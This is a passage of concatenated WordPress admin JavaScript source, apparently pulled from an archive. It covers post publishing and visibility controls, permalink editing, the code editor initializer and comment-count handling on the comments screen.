__( 'Schedule for:' ); $('#publish').val( _x( 'Schedule', 'post action/button label' ) ); } else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) { publishOn = __( 'Publish on:' ); $('#publish').val( __( 'Publish' ) ); } else { publishOn = __( 'Published on:' ); $('#publish').val( __( 'Update' ) ); } // If the date is the same, set it to trigger update events. if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) { // Re-set to the current value. $('#timestamp').html(stamp); } else { $('#timestamp').html( '\n' + publishOn + ' <b>' + // translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. __( '%1$s %2$s, %3$s at %4$s:%5$s' ) .replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) ) .replace( '%2$s', parseInt( jj, 10 ) ) .replace( '%3$s', aa ) .replace( '%4$s', ( '00' + hh ).slice( -2 ) ) .replace( '%5$s', ( '00' + mn ).slice( -2 ) ) + '</b> ' ); } // Add "privately published" to post status when applies. if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) { $('#publish').val( __( 'Update' ) ); if ( 0 === optPublish.length ) { postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>'); } else { optPublish.html( __( 'Privately Published' ) ); } $('option[value="publish"]', postStatus).prop('selected', true); $('#misc-publishing-actions .edit-post-status').hide(); } else { if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) { if ( optPublish.length ) { optPublish.remove(); postStatus.val($('#hidden_post_status').val()); } } else { optPublish.html( __( 'Published' ) ); } if ( postStatus.is(':hidden') ) $('#misc-publishing-actions .edit-post-status').show(); } // Update "Status:" to currently selected status. $('#post-status-display').text( // Remove any potential tags from post status text. wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() ) ); // Show or hide the "Save Draft" button. if ( $('option:selected', postStatus).val() == 'private' || $('option:selected', postStatus).val() == 'publish' ) { $('#save-post').hide(); } else { $('#save-post').show(); if ( $('option:selected', postStatus).val() == 'pending' ) { $('#save-post').show().val( __( 'Save as Pending' ) ); } else { $('#save-post').show().val( __( 'Save Draft' ) ); } } return true; }; // Show the visibility options and hide the toggle button when opened. $( '#visibility .edit-visibility').on( 'click', function( e ) { e.preventDefault(); if ( $postVisibilitySelect.is(':hidden') ) { updateVisibility(); $postVisibilitySelect.slideDown( 'fast', function() { $postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' ); } ); $(this).hide(); } }); // Cancel visibility selection area and hide it from view. $postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) { $postVisibilitySelect.slideUp('fast'); $('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true); $('#post_password').val($('#hidden-post-password').val()); $('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked')); $('#post-visibility-display').html(visibility); $('#visibility .edit-visibility').show().trigger( 'focus' ); updateText(); event.preventDefault(); }); // Set the selected visibility as current. $postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val(); $postVisibilitySelect.slideUp('fast'); $('#visibility .edit-visibility').show().trigger( 'focus' ); updateText(); if ( 'public' !== selectedVisibility ) { $('#sticky').prop('checked', false); } switch ( selectedVisibility ) { case 'public': visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' ); break; case 'private': visibilityLabel = __( 'Private' ); break; case 'password': visibilityLabel = __( 'Password Protected' ); break; } $('#post-visibility-display').text( visibilityLabel ); event.preventDefault(); }); // When the selection changes, update labels. $postVisibilitySelect.find('input:radio').on( 'change', function() { updateVisibility(); }); // Edit publish time click. $timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) { if ( $timestampdiv.is( ':hidden' ) ) { $timestampdiv.slideDown( 'fast', function() { $( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); // Cancel editing the publish time and hide the settings. $timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) { $timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' ); $('#mm').val($('#hidden_mm').val()); $('#jj').val($('#hidden_jj').val()); $('#aa').val($('#hidden_aa').val()); $('#hh').val($('#hidden_hh').val()); $('#mn').val($('#hidden_mn').val()); updateText(); event.preventDefault(); }); // Save the changed timestamp. $timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. if ( updateText() ) { $timestampdiv.slideUp('fast'); $timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' ); } event.preventDefault(); }); // Cancel submit when an invalid timestamp has been selected. $('#post').on( 'submit', function( event ) { if ( ! updateText() ) { event.preventDefault(); $timestampdiv.show(); if ( wp.autosave ) { wp.autosave.enableButtons(); } $( '#publishing-action .spinner' ).removeClass( 'is-active' ); } }); // Post Status edit click. $postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) { if ( $postStatusSelect.is( ':hidden' ) ) { $postStatusSelect.slideDown( 'fast', function() { $postStatusSelect.find('select').trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); // Save the Post Status changes and hide the options. $postStatusSelect.find('.save-post-status').on( 'click', function( event ) { $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' ); updateText(); event.preventDefault(); }); // Cancel Post Status editing and hide the options. $postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) { $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' ); $('#post_status').val( $('#hidden_post_status').val() ); updateText(); event.preventDefault(); }); } /** * Handle the editing of the post_name. Create the required HTML elements and * update the changes via Ajax. * * @global * * @return {void} */ function editPermalink() { var i, slug_value, slug_label, $el, revert_e, c = 0, real_slug = $('#post_name'), revert_slug = real_slug.val(), permalink = $( '#sample-permalink' ), permalinkOrig = permalink.html(), permalinkInner = $( '#sample-permalink a' ).html(), buttons = $('#edit-slug-buttons'), buttonsOrig = buttons.html(), full = $('#editable-post-name-full'); // Deal with Twemoji in the post-name. full.find( 'img' ).replaceWith( function() { return this.alt; } ); full = full.html(); permalink.html( permalinkInner ); // Save current content to revert to when cancelling. $el = $( '#editable-post-name' ); revert_e = $el.html(); buttons.html( '<button type="button" class="save button button-small">' + __( 'OK' ) + '</button> ' + '<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>' ); // Save permalink changes. buttons.children( '.save' ).on( 'click', function() { var new_slug = $el.children( 'input' ).val(); if ( new_slug == $('#editable-post-name-full').text() ) { buttons.children('.cancel').trigger( 'click' ); return; } $.post( ajaxurl, { action: 'sample-permalink', post_id: postId, new_slug: new_slug, new_title: $('#title').val(), samplepermalinknonce: $('#samplepermalinknonce').val() }, function(data) { var box = $('#edit-slug-box'); box.html(data); if (box.hasClass('hidden')) { box.fadeIn('fast', function () { box.removeClass('hidden'); }); } buttons.html(buttonsOrig); permalink.html(permalinkOrig); real_slug.val(new_slug); $( '.edit-slug' ).trigger( 'focus' ); wp.a11y.speak( __( 'Permalink saved' ) ); } ); }); // Cancel editing of permalink. buttons.children( '.cancel' ).on( 'click', function() { $('#view-post-btn').show(); $el.html(revert_e); buttons.html(buttonsOrig); permalink.html(permalinkOrig); real_slug.val(revert_slug); $( '.edit-slug' ).trigger( 'focus' ); }); // If more than 1/4th of 'full' is '%', make it empty. for ( i = 0; i < full.length; ++i ) { if ( '%' == full.charAt(i) ) c++; } slug_value = ( c > full.length / 4 ) ? '' : full; slug_label = __( 'URL Slug' ); $el.html( '<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' + '<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />' ).children( 'input' ).on( 'keydown', function( e ) { var key = e.which; // On [Enter], just save the new slug, don't save the post. if ( 13 === key ) { e.preventDefault(); buttons.children( '.save' ).trigger( 'click' ); } // On [Esc] cancel the editing. if ( 27 === key ) { buttons.children( '.cancel' ).trigger( 'click' ); } } ).on( 'keyup', function() { real_slug.val( this.value ); }).trigger( 'focus' ); } $( '#titlediv' ).on( 'click', '.edit-slug', function() { editPermalink(); }); /** * Adds screen reader text to the title label when needed. * * Use the 'screen-reader-text' class to emulate a placeholder attribute * and hide the label when entering a value. * * @param {string} id Optional. HTML ID to add the screen reader helper text to. * * @global * * @return {void} */ window.wptitlehint = function( id ) { id = id || 'title'; var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' ); if ( '' === title.val() ) { titleprompt.removeClass( 'screen-reader-text' ); } title.on( 'input', function() { if ( '' === this.value ) { titleprompt.removeClass( 'screen-reader-text' ); return; } titleprompt.addClass( 'screen-reader-text' ); } ); }; wptitlehint(); // Resize the WYSIWYG and plain text editors. ( function() { var editor, offset, mce, $handle = $('#post-status-info'), $postdivrich = $('#postdivrich'); // If there are no textareas or we are on a touch device, we can't do anything. if ( ! $textarea.length || 'ontouchstart' in window ) { // Hide the resize handle. $('#content-resize-handle').hide(); return; } /** * Handle drag event. * * @param {Object} event Event containing details about the drag. */ function dragging( event ) { if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) { return; } if ( mce ) { editor.theme.resizeTo( null, offset + event.pageY ); } else { $textarea.height( Math.max( 50, offset + event.pageY ) ); } event.preventDefault(); } /** * When the dragging stopped make sure we return focus and do a confidence check on the height. */ function endDrag() { var height, toolbarHeight; if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) { return; } if ( mce ) { editor.focus(); toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 ); if ( toolbarHeight < 10 || toolbarHeight > 200 ) { toolbarHeight = 30; } height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28; } else { $textarea.trigger( 'focus' ); height = parseInt( $textarea.css('height'), 10 ); } $document.off( '.wp-editor-resize' ); // Confidence check: normalize height to stay within acceptable ranges. if ( height && height > 50 && height < 5000 ) { setUserSetting( 'ed_size', height ); } } $handle.on( 'mousedown.wp-editor-resize', function( event ) { if ( typeof tinymce !== 'undefined' ) { editor = tinymce.get('content'); } if ( editor && ! editor.isHidden() ) { mce = true; offset = $('#content_ifr').height() - event.pageY; } else { mce = false; offset = $textarea.height() - event.pageY; $textarea.trigger( 'blur' ); } $document.on( 'mousemove.wp-editor-resize', dragging ) .on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag ); event.preventDefault(); }).on( 'mouseup.wp-editor-resize', endDrag ); })(); // TinyMCE specific handling of Post Format changes to reflect in the editor. if ( typeof tinymce !== 'undefined' ) { // When changing post formats, change the editor body class. $( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() { var editor, body, format = this.id; if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) { body = editor.getBody(); body.className = body.className.replace( /\bpost-format-[^ ]+/, '' ); editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format ); $( document ).trigger( 'editor-classchange' ); } }); // When changing page template, change the editor body class. $( '#page_template' ).on( 'change.set-editor-class', function() { var editor, body, pageTemplate = $( this ).val() || ''; pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length ) .replace( /\.php$/, '' ) .replace( /\./g, '-' ); if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) { body = editor.getBody(); body.className = body.className.replace( /\bpage-template-[^ ]+/, '' ); editor.dom.addClass( body, 'page-template-' + pageTemplate ); $( document ).trigger( 'editor-classchange' ); } }); } // Save on pressing [Ctrl]/[Command] + [S] in the Text editor. $textarea.on( 'keydown.wp-autosave', function( event ) { // Key [S] has code 83. if ( event.which === 83 ) { if ( event.shiftKey || event.altKey || ( isMac && ( ! event.metaKey || event.ctrlKey ) ) || ( ! isMac && ! event.ctrlKey ) ) { return; } wp.autosave && wp.autosave.server.triggerSave(); event.preventDefault(); } }); // If the last status was auto-draft and the save is triggered, edit the current URL. if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) { var location; $( '#publish' ).on( 'click', function() { location = window.location.href; location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?'; location += 'wp-post-new-reload=true'; window.history.replaceState( null, null, location ); }); } /** * Copies the attachment URL in the Edit Media page to the clipboard. * * @since 5.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ copyAttachmentURLClipboard.on( 'success', function( event ) { var triggerElement = $( event.trigger ), successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Show success visual feedback. clearTimeout( copyAttachmentURLSuccessTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. copyAttachmentURLSuccessTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) ); } ); } ); /** * TinyMCE word count display */ ( function( $, counter ) { $( function() { var $content = $( '#content' ), $count = $( '#wp-word-count' ).find( '.word-count' ), prevCount = 0, contentEditor; /** * Get the word count from TinyMCE and display it */ function update() { var text, count; if ( ! contentEditor || contentEditor.isHidden() ) { text = $content.val(); } else { text = contentEditor.getContent( { format: 'raw' } ); } count = counter.count( text ); if ( count !== prevCount ) { $count.text( count ); } prevCount = count; } /** * Bind the word count update triggers. * * When a node change in the main TinyMCE editor has been triggered. * When a key has been released in the plain text content editor. */ $( document ).on( 'tinymce-editor-init', function( event, editor ) { if ( editor.id !== 'content' ) { return; } contentEditor = editor; editor.on( 'nodechange keyup', _.debounce( update, 1000 ) ); } ); $content.on( 'input keyup', _.debounce( update, 1000 ) ); update(); } ); } )( jQuery, new wp.utils.WordCounter() ); code-editor.min.js 0000644 00000006013 15174417325 0010073 0 ustar 00 /*! This file is auto-generated */ void 0===window.wp&&(window.wp={}),void 0===window.wp.codeEditor&&(window.wp.codeEditor={}),function(u,d){"use strict";function s(r,s){var a=[],d=[];function c(){s.onUpdateErrorNotice&&!_.isEqual(a,d)&&(s.onUpdateErrorNotice(a,r),d=a)}function i(){var i,t=r.getOption("lint");return!!t&&(!0===t?t={}:_.isObject(t)&&(t=u.extend({},t)),t.options||(t.options={}),"javascript"===s.codemirror.mode&&s.jshint&&u.extend(t.options,s.jshint),"css"===s.codemirror.mode&&s.csslint&&u.extend(t.options,s.csslint),"htmlmixed"===s.codemirror.mode&&s.htmlhint&&(t.options.rules=u.extend({},s.htmlhint),s.jshint&&(t.options.rules.jshint=s.jshint),s.csslint)&&(t.options.rules.csslint=s.csslint),t.onUpdateLinting=(i=t.onUpdateLinting,function(t,e,n){var o=_.filter(t,function(t){return"error"===t.severity});i&&i.apply(t,e,n),!_.isEqual(o,a)&&(a=o,s.onChangeLintingErrors&&s.onChangeLintingErrors(o,t,e,n),!r.state.focused||0===a.length||0<d.length)&&c()}),t)}r.setOption("lint",i()),r.on("optionChange",function(t,e){var n,o="CodeMirror-lint-markers";"lint"===e&&(e=r.getOption("gutters")||[],!0===(n=r.getOption("lint"))?(_.contains(e,o)||r.setOption("gutters",[o].concat(e)),r.setOption("lint",i())):n||r.setOption("gutters",_.without(e,o)),r.getOption("lint")?r.performLint():(a=[],c()))}),r.on("blur",c),r.on("startCompletion",function(){r.off("blur",c)}),r.on("endCompletion",function(){r.on("blur",c),_.delay(function(){r.state.focused||c()},500)}),u(document.body).on("mousedown",function(t){!r.state.focused||u.contains(r.display.wrapper,t.target)||u(t.target).hasClass("CodeMirror-hint")||c()})}d.codeEditor.defaultSettings={codemirror:{},csslint:{},htmlhint:{},jshint:{},onTabNext:function(){},onTabPrevious:function(){},onChangeLintingErrors:function(){},onUpdateErrorNotice:function(){}},d.codeEditor.initialize=function(t,e){var a,n,o,i,t=u("string"==typeof t?"#"+t:t),r=u.extend({},d.codeEditor.defaultSettings,e);return r.codemirror=u.extend({},r.codemirror),s(a=d.CodeMirror.fromTextArea(t[0],r.codemirror),r),t={settings:r,codemirror:a},a.showHint&&a.on("keyup",function(t,e){var n,o,i,r,s=/^[a-zA-Z]$/.test(e.key);a.state.completionActive&&s||"string"!==(r=a.getTokenAt(a.getCursor())).type&&"comment"!==r.type&&(i=d.CodeMirror.innerMode(a.getMode(),r.state).mode.name,o=a.doc.getLine(a.doc.getCursor().line).substr(0,a.doc.getCursor().ch),"html"===i||"xml"===i?n="<"===e.key||"/"===e.key&&"tag"===r.type||s&&"tag"===r.type||s&&"attribute"===r.type||"="===r.string&&r.state.htmlState&&r.state.htmlState.tagName:"css"===i?n=s||":"===e.key||" "===e.key&&/:\s+$/.test(o):"javascript"===i?n=s||"."===e.key:"clike"===i&&"php"===a.options.mode&&(n="keyword"===r.type||"variable"===r.type),n)&&a.showHint({completeSingle:!1})}),o=e,i=u((n=a).getTextArea()),n.on("blur",function(){i.data("next-tab-blurs",!1)}),n.on("keydown",function(t,e){27===e.keyCode?i.data("next-tab-blurs",!0):9===e.keyCode&&i.data("next-tab-blurs")&&(e.shiftKey?o.onTabPrevious(n,e):o.onTabNext(n,e),i.data("next-tab-blurs",!1),e.preventDefault())}),t}}(window.jQuery,window.wp); edit-comments.js 0000644 00000112166 15174417325 0007672 0 ustar 00 /** * Handles updating and editing comments. * * @file This file contains functionality for the admin comments page. * @since 2.1.0 * @output wp-admin/js/edit-comments.js */ /* global adminCommentsSettings, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */ /* global commentReply, theExtraList, theList, setCommentsList */ (function($) { var getCount, updateCount, updateCountText, updatePending, updateApproved, updateHtmlTitle, updateDashboardText, updateInModerationText, adminTitle = document.title, isDashboard = $('#dashboard_right_now').length, titleDiv, titleRegEx, __ = wp.i18n.__; /** * Extracts a number from the content of a jQuery element. * * @since 2.9.0 * @access private * * @param {jQuery} el jQuery element. * * @return {number} The number found in the given element. */ getCount = function(el) { var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 ); if ( isNaN(n) ) { return 0; } return n; }; /** * Updates an html element with a localized number string. * * @since 2.9.0 * @access private * * @param {jQuery} el The jQuery element to update. * @param {number} n Number to be put in the element. * * @return {void} */ updateCount = function(el, n) { var n1 = ''; if ( isNaN(n) ) { return; } n = n < 1 ? '0' : n.toString(); if ( n.length > 3 ) { while ( n.length > 3 ) { n1 = thousandsSeparator + n.substr(n.length - 3) + n1; n = n.substr(0, n.length - 3); } n = n + n1; } el.html(n); }; /** * Updates the number of approved comments on a specific post and the filter bar. * * @since 4.4.0 * @access private * * @param {number} diff The amount to lower or raise the approved count with. * @param {number} commentPostId The ID of the post to be updated. * * @return {void} */ updateApproved = function( diff, commentPostId ) { var postSelector = '.post-com-count-' + commentPostId, noClass = 'comment-count-no-comments', approvedClass = 'comment-count-approved', approved, noComments; updateCountText( 'span.approved-count', diff ); if ( ! commentPostId ) { return; } // Cache selectors to not get duplicates. approved = $( 'span.' + approvedClass, postSelector ); noComments = $( 'span.' + noClass, postSelector ); approved.each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; if ( 0 === n ) { a.removeClass( approvedClass ).addClass( noClass ); } else { a.addClass( approvedClass ).removeClass( noClass ); } updateCount( a, n ); }); noComments.each(function() { var a = $(this); if ( diff > 0 ) { a.removeClass( noClass ).addClass( approvedClass ); } else { a.addClass( noClass ).removeClass( approvedClass ); } updateCount( a, diff ); }); }; /** * Updates a number count in all matched HTML elements * * @since 4.4.0 * @access private * * @param {string} selector The jQuery selector for elements to update a count * for. * @param {number} diff The amount to lower or raise the count with. * * @return {void} */ updateCountText = function( selector, diff ) { $( selector ).each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) { n = 0; } updateCount( a, n ); }); }; /** * Updates a text about comment count on the dashboard. * * @since 4.4.0 * @access private * * @param {Object} response Ajax response from the server that includes a * translated "comment count" message. * * @return {void} */ updateDashboardText = function( response ) { if ( ! isDashboard || ! response || ! response.i18n_comments_text ) { return; } $( '.comment-count a', '#dashboard_right_now' ).text( response.i18n_comments_text ); }; /** * Updates the "comments in moderation" text across the UI. * * @since 5.2.0 * * @param {Object} response Ajax response from the server that includes a * translated "comments in moderation" message. * * @return {void} */ updateInModerationText = function( response ) { if ( ! response || ! response.i18n_moderation_text ) { return; } // Update the "comment in moderation" text across the UI. $( '.comments-in-moderation-text' ).text( response.i18n_moderation_text ); // Hide the "comment in moderation" text in the Dashboard "At a Glance" widget. if ( isDashboard && response.in_moderation ) { $( '.comment-mod-count', '#dashboard_right_now' ) [ response.in_moderation > 0 ? 'removeClass' : 'addClass' ]( 'hidden' ); } }; /** * Updates the title of the document with the number comments to be approved. * * @since 4.4.0 * @access private * * @param {number} diff The amount to lower or raise the number of to be * approved comments with. * * @return {void} */ updateHtmlTitle = function( diff ) { var newTitle, regExMatch, titleCount, commentFrag; /* translators: %s: Comments count. */ titleRegEx = titleRegEx || new RegExp( __( 'Comments (%s)' ).replace( '%s', '\\([0-9' + thousandsSeparator + ']+\\)' ) + '?' ); // Count funcs operate on a $'d element. titleDiv = titleDiv || $( '<div />' ); newTitle = adminTitle; commentFrag = titleRegEx.exec( document.title ); if ( commentFrag ) { commentFrag = commentFrag[0]; titleDiv.html( commentFrag ); titleCount = getCount( titleDiv ) + diff; } else { titleDiv.html( 0 ); titleCount = diff; } if ( titleCount >= 1 ) { updateCount( titleDiv, titleCount ); regExMatch = titleRegEx.exec( document.title ); if ( regExMatch ) { /* translators: %s: Comments count. */ newTitle = document.title.replace( regExMatch[0], __( 'Comments (%s)' ).replace( '%s', titleDiv.text() ) + ' ' ); } } else { regExMatch = titleRegEx.exec( newTitle ); if ( regExMatch ) { newTitle = newTitle.replace( regExMatch[0], __( 'Comments' ) ); } } document.title = newTitle; }; /** * Updates the number of pending comments on a specific post and the filter bar. * * @since 3.2.0 * @access private * * @param {number} diff The amount to lower or raise the pending count with. * @param {number} commentPostId The ID of the post to be updated. * * @return {void} */ updatePending = function( diff, commentPostId ) { var postSelector = '.post-com-count-' + commentPostId, noClass = 'comment-count-no-pending', noParentClass = 'post-com-count-no-pending', pendingClass = 'comment-count-pending', pending, noPending; if ( ! isDashboard ) { updateHtmlTitle( diff ); } $( 'span.pending-count' ).each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0'); updateCount( a, n ); }); if ( ! commentPostId ) { return; } // Cache selectors to not get dupes. pending = $( 'span.' + pendingClass, postSelector ); noPending = $( 'span.' + noClass, postSelector ); pending.each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; if ( 0 === n ) { a.parent().addClass( noParentClass ); a.removeClass( pendingClass ).addClass( noClass ); } else { a.parent().removeClass( noParentClass ); a.addClass( pendingClass ).removeClass( noClass ); } updateCount( a, n ); }); noPending.each(function() { var a = $(this); if ( diff > 0 ) { a.parent().removeClass( noParentClass ); a.removeClass( noClass ).addClass( pendingClass ); } else { a.parent().addClass( noParentClass ); a.addClass( noClass ).removeClass( pendingClass ); } updateCount( a, diff ); }); }; /** * Initializes the comments list. * * @since 4.4.0 * * @global * * @return {void} */ window.setCommentsList = function() { var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff, lastConfidentTime = 0; totalInput = $('input[name="_total"]', '#comments-form'); perPageInput = $('input[name="_per_page"]', '#comments-form'); pageInput = $('input[name="_page"]', '#comments-form'); /** * Updates the total with the latest count. * * The time parameter makes sure that we only update the total if this value is * a newer value than we previously received. * * The time and setConfidentTime parameters make sure that we only update the * total when necessary. So a value that has been generated earlier will not * update the total. * * @since 2.8.0 * @access private * * @param {number} total Total number of comments. * @param {number} time Unix timestamp of response. * @param {boolean} setConfidentTime Whether to update the last confident time * with the given time. * * @return {void} */ updateTotalCount = function( total, time, setConfidentTime ) { if ( time < lastConfidentTime ) return; if ( setConfidentTime ) lastConfidentTime = time; totalInput.val( total.toString() ); }; /** * Changes DOM that need to be changed after a list item has been dimmed. * * @since 2.5.0 * @access private * * @param {Object} r Ajax response object. * @param {Object} settings Settings for the wpList object. * * @return {void} */ dimAfter = function( r, settings ) { var editRow, replyID, replyButton, response, c = $( '#' + settings.element ); if ( true !== settings.parsed ) { response = settings.parsed.responses[0]; } editRow = $('#replyrow'); replyID = $('#comment_ID', editRow).val(); replyButton = $('#replybtn', editRow); if ( c.is('.unapproved') ) { if ( settings.data.id == replyID ) replyButton.text( __( 'Approve and Reply' ) ); c.find( '.row-actions span.view' ).addClass( 'hidden' ).end() .find( 'div.comment_status' ).html( '0' ); } else { if ( settings.data.id == replyID ) replyButton.text( __( 'Reply' ) ); c.find( '.row-actions span.view' ).removeClass( 'hidden' ).end() .find( 'div.comment_status' ).html( '1' ); } diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1; if ( response ) { updateDashboardText( response.supplemental ); updateInModerationText( response.supplemental ); updatePending( diff, response.supplemental.postId ); updateApproved( -1 * diff, response.supplemental.postId ); } else { updatePending( diff ); updateApproved( -1 * diff ); } }; /** * Handles marking a comment as spam or trashing the comment. * * Is executed in the list delBefore hook. * * @since 2.8.0 * @access private * * @param {Object} settings Settings for the wpList object. * @param {HTMLElement} list Comments table element. * * @return {Object} The settings object. */ delBefore = function( settings, list ) { var note, id, el, n, h, a, author, action = false, wpListsData = $( settings.target ).attr( 'data-wp-lists' ); settings.data._total = totalInput.val() || 0; settings.data._per_page = perPageInput.val() || 0; settings.data._page = pageInput.val() || 0; settings.data._url = document.location.href; settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val(); if ( wpListsData.indexOf(':trash=1') != -1 ) action = 'trash'; else if ( wpListsData.indexOf(':spam=1') != -1 ) action = 'spam'; if ( action ) { id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1'); el = $('#comment-' + id); note = $('#' + action + '-undo-holder').html(); el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits. if ( el.siblings('#replyrow').length && commentReply.cid == id ) commentReply.close(); if ( el.is('tr') ) { n = el.children(':visible').length; author = $('.author strong', el).text(); h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>'); } else { author = $('.comment-author', el).text(); h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>'); } el.before(h); $('strong', '#undo-' + id).text(author); a = $('.undo a', '#undo-' + id); a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce); a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1'); a.attr('class', 'vim-z vim-destructive aria-button-if-js'); $('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside'); a.on( 'click', function( e ){ e.preventDefault(); e.stopPropagation(); // Ticket #35904. list.wpList.del(this); $('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){ $(this).remove(); $('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); }); }); }); } return settings; }; /** * Handles actions that need to be done after marking as spam or thrashing a * comment. * * The ajax requests return the unix time stamp a comment was marked as spam or * trashed. We use this to have a correct total amount of comments. * * @since 2.5.0 * @access private * * @param {Object} r Ajax response object. * @param {Object} settings Settings for the wpList object. * * @return {void} */ delAfter = function( r, settings ) { var total_items_i18n, total, animated, animatedCallback, response = true === settings.parsed ? {} : settings.parsed.responses[0], commentStatus = true === settings.parsed ? '' : response.supplemental.status, commentPostId = true === settings.parsed ? '' : response.supplemental.postId, newTotal = true === settings.parsed ? '' : response.supplemental, targetParent = $( settings.target ).parent(), commentRow = $('#' + settings.element), spamDiff, trashDiff, pendingDiff, approvedDiff, /* * As `wpList` toggles only the `unapproved` class, the approved comment * rows can have both the `approved` and `unapproved` classes. */ approved = commentRow.hasClass( 'approved' ) && ! commentRow.hasClass( 'unapproved' ), unapproved = commentRow.hasClass( 'unapproved' ), spammed = commentRow.hasClass( 'spam' ), trashed = commentRow.hasClass( 'trash' ), undoing = false; // Ticket #35904. updateDashboardText( newTotal ); updateInModerationText( newTotal ); /* * The order of these checks is important. * .unspam can also have .approve or .unapprove. * .untrash can also have .approve or .unapprove. */ if ( targetParent.is( 'span.undo' ) ) { // The comment was spammed. if ( targetParent.hasClass( 'unspam' ) ) { spamDiff = -1; if ( 'trash' === commentStatus ) { trashDiff = 1; } else if ( '1' === commentStatus ) { approvedDiff = 1; } else if ( '0' === commentStatus ) { pendingDiff = 1; } // The comment was trashed. } else if ( targetParent.hasClass( 'untrash' ) ) { trashDiff = -1; if ( 'spam' === commentStatus ) { spamDiff = 1; } else if ( '1' === commentStatus ) { approvedDiff = 1; } else if ( '0' === commentStatus ) { pendingDiff = 1; } } undoing = true; // User clicked "Spam". } else if ( targetParent.is( 'span.spam' ) ) { // The comment is currently approved. if ( approved ) { approvedDiff = -1; // The comment is currently pending. } else if ( unapproved ) { pendingDiff = -1; // The comment was in the Trash. } else if ( trashed ) { trashDiff = -1; } // You can't spam an item on the Spam screen. spamDiff = 1; // User clicked "Unspam". } else if ( targetParent.is( 'span.unspam' ) ) { if ( approved ) { pendingDiff = 1; } else if ( unapproved ) { approvedDiff = 1; } else if ( trashed ) { // The comment was previously approved. if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; // The comment was previously pending. } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } else if ( spammed ) { if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } // You can unspam an item on the Spam screen. spamDiff = -1; // User clicked "Trash". 